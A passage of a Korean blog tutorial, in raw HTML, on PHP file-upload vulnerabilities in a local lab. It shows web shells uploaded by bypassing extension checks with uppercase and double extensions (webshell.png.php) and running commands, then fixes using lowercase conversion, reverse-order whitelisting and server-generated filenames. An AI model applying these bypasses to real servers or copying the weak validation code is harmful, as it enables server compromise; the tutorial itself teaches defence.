this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;669&quot; height=&quot;222&quot; data-origin-width=&quot;669&quot; data-origin-height=&quot;222&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 윈도우 서버 환경에서 대문자 확장자에 대한 우회가 가능한 것을 알 수 있고, 대문자 확장자에 대한 검증이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PHP의 strtolower () 함수를 사용하여 문자열을 소문자로 변경해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; action.php 에 strtolower 함수 적용 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1740154195259&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;			# 검증 로직 적용
			$file_info = pathinfo($uploadPath);
			$ext = strtolower(trim($file_info[&quot;extension&quot;]));
			$ext_arr = array(&quot;&quot;, &quot;php&quot;, &quot;html&quot;);

			if(in_array($ext, $ext_arr)) {
				echo(&quot;&amp;lt;script&amp;gt;alert('허용된 확장자가 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;);
				exit;
			}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드 적용 후 다시 확장자를 대문자(webshel.phP)로 변경하여 업로드를 시도해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;922&quot; data-origin-height=&quot;246&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bAL8TR/btsMrF3LDp1/7Qg6QhgAXVJyjhx0qp4ayk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bAL8TR/btsMrF3LDp1/7Qg6QhgAXVJyjhx0qp4ayk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bAL8TR/btsMrF3LDp1/7Qg6QhgAXVJyjhx0qp4ayk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAL8TR%2FbtsMrF3LDp1%2F7Qg6QhgAXVJyjhx0qp4ayk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;922&quot; height=&quot;246&quot; data-origin-width=&quot;922&quot; data-origin-height=&quot;246&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 검증 로직이 정상적으로 적용된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Case 4) 잘못된 확장자 파싱&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;잘못된 확장자 파싱을 실습하기 위해서는 기존의 검증 로직을 먼저 주석 처리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;strpos()&amp;nbsp; &lt;br /&gt;&amp;rarr; 문자열이 처음 나타나는 위치를 찾는 함수로 위치 값을 정수로 반환한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 대상 문자열을 앞에서부터 검색하여 찾고자 하는 문자열이 몇 번째 위치에 있는지를 리턴하는 함수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;substr()&amp;nbsp; &lt;br /&gt;&amp;rarr;&amp;nbsp;문자열에서&amp;nbsp;주어진&amp;nbsp;특정&amp;nbsp;위치부터&amp;nbsp;특정&amp;nbsp;길이만큼의&amp;nbsp;문자열을&amp;nbsp;잘라서&amp;nbsp;추출하는&amp;nbsp;함수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; action.php 에 화이트리스트 방식으로 검증 로직 적용 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1740155288733&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;			# 검증 로직 적용
			$ext_offset = strpos($uploadFile, &quot;.&quot;);
			$ext = substr($uploadFile, $ext_offset + 1, 3);

			if($ext != &quot;png&quot; &amp;amp;&amp;amp; $ext != &quot;gif&quot; &amp;amp;&amp;amp; $ext != &quot;jpg&quot;) {
				echo(&quot;&amp;lt;script&amp;gt;alert('파일 업로드를 실패하셨습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;);
				exit;
			}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ext_offset 은 . 의 위치를 반환받는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ext 는 $ext_offset 에서 반환받은 . 위치 이후 첫번째 위치부터 3 Byte 까지 반환받는다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 test.png 파일을 업로드 하는 경우, . 이후에 png 문자열을 반환받는다는 의미이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;. 이후의 문자(확장자)를 3 Byte 까지 (세글자) 반환받는다는 의미이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결론적으로 확장자가 png, gif, jpg 가 아닌 경우 업로드를 허용하지 않는다는 소스코드이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; png, gif, jpg 등 이미지 파일이 아니면 허용하지 않는 화이트리스트 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;webshell.php 를 업로드 시도 하였더니 다음과 같이 업로드를 실패하였다는 에러 메시지가 확인된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;921&quot; data-origin-height=&quot;259&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1CKHo/btsMs7LDBaq/r5LakK3XlfkKb6mu6dHB91/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1CKHo/btsMs7LDBaq/r5LakK3XlfkKb6mu6dHB91/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1CKHo/btsMs7LDBaq/r5LakK3XlfkKb6mu6dHB91/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1CKHo%2FbtsMs7LDBaq%2Fr5LakK3XlfkKb6mu6dHB91%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;921&quot; height=&quot;259&quot; data-origin-width=&quot;921&quot; data-origin-height=&quot;259&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 webshell.png.php 를 업로드하여 파일 업로드 우회를 시도한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;753&quot; data-origin-height=&quot;353&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cHoOZZ/btsMru9hwhF/Wa0j6SEERViAqPbNuYiVSk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cHoOZZ/btsMru9hwhF/Wa0j6SEERViAqPbNuYiVSk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cHoOZZ/btsMru9hwhF/Wa0j6SEERViAqPbNuYiVSk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcHoOZZ%2FbtsMru9hwhF%2FWa0j6SEERViAqPbNuYiVSk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;753&quot; height=&quot;353&quot; data-origin-width=&quot;753&quot; data-origin-height=&quot;353&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 업로드 된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;916&quot; data-origin-height=&quot;656&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/drEW47/btsMrZOFeCk/icgbn4PsANhMiWGw3NEb5K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/drEW47/btsMrZOFeCk/icgbn4PsANhMiWGw3NEb5K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/drEW47/btsMrZOFeCk/icgbn4PsANhMiWGw3NEb5K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdrEW47%2FbtsMrZOFeCk%2Ficgbn4PsANhMiWGw3NEb5K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;916&quot; height=&quot;656&quot; data-origin-width=&quot;916&quot; data-origin-height=&quot;656&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;http://192.168.56.1/insecure_website/upload/webshell.png.php 로 접속해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;597&quot; data-origin-height=&quot;191&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vhcoE/btsMroOGVyi/WzbvV6zmN3ILKCinM3YSJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vhcoE/btsMroOGVyi/WzbvV6zmN3ILKCinM3YSJk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vhcoE/btsMroOGVyi/WzbvV6zmN3ILKCinM3YSJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvhcoE%2FbtsMroOGVyi%2FWzbvV6zmN3ILKCinM3YSJk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;597&quot; height=&quot;191&quot; data-origin-width=&quot;597&quot; data-origin-height=&quot;191&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;성공적으로 접속이 가능하며 시스템 명령어 실행도 가능한 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;662&quot; data-origin-height=&quot;208&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dawFHr/btsMsPdnG9U/V8UcnKgmYcKlxnJjZPVuSK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dawFHr/btsMsPdnG9U/V8UcnKgmYcKlxnJjZPVuSK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dawFHr/btsMsPdnG9U/V8UcnKgmYcKlxnJjZPVuSK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdawFHr%2FbtsMsPdnG9U%2FV8UcnKgmYcKlxnJjZPVuSK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;662&quot; height=&quot;208&quot; data-origin-width=&quot;662&quot; data-origin-height=&quot;208&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 우회하는 경우 어떻게 대응해야 할까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확장자를 뒤에서 부터 검증하는 코드를 적용하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;strrpos&amp;nbsp;() &lt;br /&gt;&amp;rarr;&amp;nbsp;대상&amp;nbsp;문자열을&amp;nbsp;뒤에서&amp;nbsp;부터&amp;nbsp;검색하여&amp;nbsp;찾고자&amp;nbsp;하는&amp;nbsp;문자열이&amp;nbsp;몇&amp;nbsp;번째&amp;nbsp;위치에&amp;nbsp;있는지를&amp;nbsp;리턴하는&amp;nbsp;함수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; action.php 에 화이트리스트 방식으로 뒤 문자열부터 검증하는 로직 적용 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1740156680376&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;			# 검증 로직 적용
			$ext_offset = strrpos($uploadFile, &quot;.&quot;);
			$ext = substr($uploadFile, $ext_offset + 1, 3);

			if($ext != &quot;png&quot; &amp;amp;&amp;amp; $ext != &quot;gif&quot; &amp;amp;&amp;amp; $ext != &quot;jpg&quot;) {
				echo(&quot;&amp;lt;script&amp;gt;alert('파일 업로드를 실패하셨습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;);
				exit;
			}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드 적용 후 이전과 같이 webshell.png.php 업로드를 시도해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1198&quot; data-origin-height=&quot;436&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZUYVm/btsMrwTrWQ6/K77LD8DzBfTkJGhVDHLuBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZUYVm/btsMrwTrWQ6/K77LD8DzBfTkJGhVDHLuBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZUYVm/btsMrwTrWQ6/K77LD8DzBfTkJGhVDHLuBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZUYVm%2FbtsMrwTrWQ6%2FK77LD8DzBfTkJGhVDHLuBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1198&quot; height=&quot;436&quot; data-origin-width=&quot;1198&quot; data-origin-height=&quot;436&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확장자 뒤 문자열 부터 검증하는 로직이 적용되어 업로드에 실패한 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6) 대응 방안&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;파일업로드 취약점은 파급력을 크지만 대응하기에는 어렵지 않다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 파일명에 대한 검증&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 올바른 업로드 경로 설정(서버 사이드 스크립트가 실행되지 않는 경로 - WAS의 웹 디렉터리 X)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 파일명에 대한 검증&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1086&quot; data-origin-height=&quot;303&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwx1mF/btsMw4OEAAh/vC675FRPtzqEWdCjlmRka1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwx1mF/btsMw4OEAAh/vC675FRPtzqEWdCjlmRka1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwx1mF/btsMw4OEAAh/vC675FRPtzqEWdCjlmRka1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbwx1mF%2FbtsMw4OEAAh%2FvC675FRPtzqEWdCjlmRka1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1086&quot; height=&quot;303&quot; data-origin-width=&quot;1086&quot; data-origin-height=&quot;303&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버 측에서 파일명 생성(DB에 정보 저장)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Origin : test.png (업로드 및 다운로드 시 파일명)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Real : abcd.png (서버 측에서 생성하는 파일명 = 실제 서버에 업로드 되는 파일명)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1481&quot; data-origin-height=&quot;772&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6o9Ha/btsMvfw46zt/BnzhoCsCaxBSI7MjMQY3Pk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6o9Ha/btsMvfw46zt/BnzhoCsCaxBSI7MjMQY3Pk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6o9Ha/btsMvfw46zt/BnzhoCsCaxBSI7MjMQY3Pk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6o9Ha%2FbtsMvfw46zt%2FBnzhoCsCaxBSI7MjMQY3Pk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1481&quot; height=&quot;772&quot; data-origin-width=&quot;1481&quot; data-origin-height=&quot;772&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확장자 검증은 &lt;b&gt;화이트리스트 방식&lt;/b&gt;을 추천한다. ( 블랙리스트 방식보다 안전함 )&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확장자 검증은 정방향이 아닌, &lt;b&gt;역방향&lt;/b&gt;으로 한다. (뒤에서 부터 검증, png.php 등 여러 개 확장자 사용하여 우회하는 것을 방지)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1447&quot; data-origin-height=&quot;705&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/C27YX/btsMvg3Zpq8/70KKrriwG3KF9R90O5TU2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/C27YX/btsMvg3Zpq8/70KKrriwG3KF9R90O5TU2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/C27YX/btsMvg3Zpq8/70KKrriwG3KF9R90O5TU2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FC27YX%2FbtsMvg3Zpq8%2F70KKrriwG3KF9R90O5TU2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1447&quot; height=&quot;705&quot; data-origin-width=&quot;1447&quot; data-origin-height=&quot;705&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시간 또는 랜덤 문자열로 파일명을 생성한다. (+검증 완료된 확장자)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심은 서버에서 파일명을 생성한다는 것이 중요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;왜 사용자가 업로드한 파일명 그대로 저장하지 않을까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 보안 관점 - 파일명을 통해서 공격자가 어떤 행위를 할지 모른다. (Null 값 삽입, 콜론 삽입 등 조작 가능)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 예외 사항 - 운영체제에서 생성될 수 없는 파일명이 업로드되는 경우 기능상 문제가 발생할 수 있기 때문에(인코딩 에러로 파일을 다운로드 받을 수 없음)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1368&quot; data-origin-height=&quot;671&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cRVzjM/btsMx5e5NbP/5OYFoD0FsKiAGBjZNzFJm0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cRVzjM/btsMx5e5NbP/5OYFoD0FsKiAGBjZNzFJm0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cRVzjM/btsMx5e5NbP/5OYFoD0FsKiAGBjZNzFJm0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcRVzjM%2FbtsMx5e5NbP%2F5OYFoD0FsKiAGBjZNzFJm0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1368&quot; height=&quot;671&quot; data-origin-width=&quot;1368&quot; data-origin-height=&quot;671&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버 측에서 생성된 파일명 + 검증된 확장자 =&amp;gt; 파일 업로드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; abcd1234.png&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;파일명에 대한 검증&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1439&quot; data-origin-height=&quot;743&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFSl1G/btsMxl3MViE/CzVZMGnILhE4z4QJsRdWs0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFSl1G/btsMxl3MViE/CzVZMGnILhE4z4QJsRdWs0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFSl1G/btsMxl3MViE/CzVZMGnILhE4z4QJsRdWs0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFSl1G%2FbtsMxl3MViE%2FCzVZMGnILhE4z4QJsRdWs0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1439&quot; 